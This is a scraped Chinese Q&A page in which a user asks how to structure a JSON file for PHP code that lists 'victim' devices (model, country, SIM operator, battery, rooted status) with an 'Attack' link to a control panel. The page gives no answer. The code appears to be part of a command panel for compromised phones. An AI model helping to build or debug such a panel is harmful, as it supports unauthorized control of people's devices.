问题描述
我有这个 php 代码可以访问一个 json 文件。然而,json 文件是空的,我需要输入一个示例值。但是,我似乎无法正确构建它。代码:
<?php
$strJsonFileContents = file_get_contents("../private/storage/device_list.json");
$victim_array = json_decode($strJsonFileContents,true);
$index_victim = 1;
foreach ($victim_array["device_list"] as $field => $value) {
echo '<tr>';
echo '<td>'.$index_victim.'</td>';
echo '<td>'.strtoupper($value['DEVICE_MODEL']).'</td>';
echo '<td>'.$value['SOFTWARE_VERSION'].'</td>';
echo '<td>'.$value['COUNTRY'].'</td>';
echo '<td>'.$value['SIM_OPERATOR'].'</td>';
echo '<td>'.$value['CHARGE'].'</td>';
echo '<td>'.$value['IS_ROOTED'].'</td>';
echo '<td><a href="kontrol-panel.php?target='.$value['UNIQUE_ID'].'&type=1'.'">Attack</a></td>';
echo '</tr>';
$index_victim += 1;
}
?>
这是我一直在尝试的json的结构。
{
"device_list": {
"device1": {
"DEVICE_MODEL": "Test","SOFTWARE_VERSION": "Test","COUNTRY": "Test","SIM_OPERATOR": "Test","CHARGE": "Test","IS_ROOTED": "Test","UNIQUE_ID": "Test"
}
}
}
返回错误
Fatal error: Uncaught TypeError: Cannot access offset of type string on string in C:\Server\Data\htdocs\hidden\public\index.php:87 Stack trace: #0 {main} thrown in C:\Server\Data\htdocs\hidden\public\index.php on line 87
涉及第 87 行的行:
echo '<tr>';
echo '<td>'.$index_victim.'</td>';
echo '<td>'.strtoupper($value['DEVICE_MODEL']).'</td>'; (line 87)
echo '<td>'.$value['SOFTWARE_VERSION'].'</td>';
echo '<td>'.$value['COUNTRY'].'</td>';
echo '<td>'.$value['SIM_OPERATOR'].'</td>';
echo '<td>'.$value['CHARGE'].'</td>';
echo '<td>'.$value['IS_ROOTED'].'</td>';
echo '<td><a href="kontrol-panel.php?target='.$value['UNIQUE_ID'].'&type=1'.'">Attack</a></td>';
echo '</tr>';
$index_victim += 1;
如何正确构建 json 文件?
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)